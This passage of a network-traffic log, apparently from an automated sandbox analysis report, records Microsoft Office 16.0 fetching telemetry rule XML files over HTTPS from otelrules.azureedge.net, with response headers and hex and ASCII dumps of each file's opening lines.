2024-11-19 18:15:14 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:14 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181514Z-r1d97b995774n5h6hC1TEBvf8400000007rg000000007uk2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:14 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49932	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:14 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:14 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:14 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 07391e4c-a01e-0032-018c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181514Z-r1d97b99577brct2hC1TEBambg00000001b000000000my45 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:14 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49933	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:14 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:14 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:14 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c363d3e9-d01e-0028-158c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181514Z-185f5d8b95c4vwv8hC1NYCy4v4000000098g00000000a4me x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:14 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49931	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:14 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:14 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:14 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 96190df9-401e-0016-6a8c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181514Z-1777c6cb754gc8g6hC1TEB966c00000008hg000000000hx8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 18:15:14 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49934	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:15 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:15 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:15 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c363d474-d01e-0028-1b8c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181515Z-1777c6cb754vxwc9hC1TEBykgw00000008ag00000000w87g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:15 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49935	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:15 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:15 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:15 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: f909e935-c01e-0049-358c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181515Z-185f5d8b95cgrrn8hC1NYCgwh400000008yg00000000edc0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:15 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49936	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:15 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:15 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:15 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: df1e4bb0-c01e-0034-6f8a-3a2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181515Z-r1d97b99577kk29chC1TEBemmg00000007r000000000hrdn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:15 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49937	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:15 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:15 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:15 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181515Z-185f5d8b95c5lcmhhC1NYCsnsw000000091g0000000115t8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:15 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49938	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:15 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:15 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:15 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: c9275c76-a01e-000d-7b8c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181515Z-185f5d8b95cdcwrthC1NYCy5b8000000091g00000000m3t0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:15 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49939	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:16 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:16 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:16 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 5a5a1185-c01e-0079-408c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181516Z-185f5d8b95cjbkr4hC1NYCeu2400000008yg00000000f3ca x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:16 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49940	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:16 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:16 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:16 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181516Z-r1d97b99577ckpmjhC1TEBrzs000000007t0000000009nsg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:16 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49942	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:16 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:16 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e2992625-501e-005b-678c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181516Z-185f5d8b95c95vpshC1NYC759c000000090000000000z2g4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:16 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" 